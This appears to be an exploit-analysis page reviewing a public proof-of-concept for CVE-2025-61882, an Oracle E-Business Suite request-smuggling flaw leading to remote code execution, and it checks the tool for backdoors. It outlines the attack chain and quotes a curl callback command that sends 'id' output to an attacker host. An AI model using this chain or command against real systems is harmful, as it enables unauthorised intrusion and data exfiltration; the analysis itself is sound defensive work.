Sachinart/CVE-2025-61882
PoC files
3 filesFile viewing is interactive and short-lived. Downloads are password-protected ZIP archives using password eip.
Analysis
Technical assessment
The artifact is a multi-threaded bulk exploitation tool for CVE-2025-61882 in Oracle E-Business Suite. It actively exploits an HTTP request smuggling vulnerability to achieve unauthenticated remote code execution by delivering a malicious XSL payload that executes a system command (`id`) and exfiltrates the output via a callback.
Backdoor review
No backdoor observed in reviewed code
The supplied evidence consists of a README and a Python scanner script for CVE-2025-61882. The script performs the advertised exploit behavior: it sends HTTP requests to targets, serves a malicious XSL payload, and listens for callbacks containing the output of the 'id' command. No concealed backdoor, unrelated payload, credential theft, persistence mechanism, or operator-directed harm was observed. The code is straightforward and its behavior aligns with the described vulnerability scanner.
Classification basis and observed behavior
Classification basis
The code actively exploits the vulnerability by sending a crafted HTTP request smuggling payload to trigger a server-side request to an attacker-controlled server, which then serves a malicious XSL payload that executes an arbitrary system command ('id') on the target. This goes beyond detection or validation; it achieves remote code execution and exfiltrates the result.
cve-2025-61882.py:30cve-2025-61882.py:104-113cve-2025-61882.py:135-141Requirements
- Requires a target Oracle E-Business Suite instance vulnerable to CVE-2025-61882.
README.md:4 - Requires an attacker-controlled server (VPS) to receive callbacks from the target.
README.md:40
Observed behavior
- Fetches a CSRF token from the target's /OA_HTML/runforms.jsp and /OA_HTML/JavaScriptServlet endpoints.
cve-2025-61882.py:118-125 - Constructs an HTTP request smuggling payload that injects a request to an attacker-controlled server.
cve-2025-61882.py:104-113 - Sends the smuggling payload to the target's /OA_HTML/configurator/UiServlet endpoint.
cve-2025-61882.py:135-141 - Starts an HTTP server on a random port to serve a malicious XSL stylesheet that executes a system command via Java reflection.
cve-2025-61882.py:24-33 - The XSL payload instructs the target to execute 'curl' to send the base64-encoded output of the 'id' command back to the attacker's server.
cve-2025-61882.py:30 - Receives the callback, decodes the base64 data, and validates successful exploitation by matching a regex pattern for the 'id' command output.
cve-2025-61882.py:55-77 - Logs the vulnerable target's IP and command output to 'vuln-output.txt'.
cve-2025-61882.py:75-77
Behaviors behind the backdoor verdict
Observables
- Exploit Behavior
- The script exploits CVE-2025-61882 by sending crafted HTTP requests to targets, serving an XSL payload that executes 'curl http://{lhost}:{port}/callback?data=$(id|base64)', and validating the callback output.This is the normal, advertised behavior of a proof-of-concept exploit for the stated CVE.
cve-2025-61882.py:30cve-2025-61882.py:55-77cve-2025-61882.py:101-116 - Network Listener
- The script starts an HTTP server on a random port (2000-9999) on 0.0.0.0 to receive callbacks from exploited targets.This is required for the exploit's callback mechanism and is consistent with the documented functionality.
cve-2025-61882.py:145-150 - File Write
- The script writes successful exploitation results to 'vuln-output.txt'.This is a standard logging feature for a scanner tool and does not indicate backdoor behavior.
cve-2025-61882.py:76-77cve-2025-61882.py:176-180
What the analysis did not establish
- One file (LICENSE) is omitted from the packet; its content is not provided.
- The analysis is based solely on static code review; the code was not executed, and its operational reliability is not verified.
- One file (LICENSE) was present in the repository but not included in the text evidence; it is a standard metadata file and unlikely to contain executable code.
- The review is limited to the supplied text evidence and does not include dynamic analysis or inspection of the omitted file.
This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.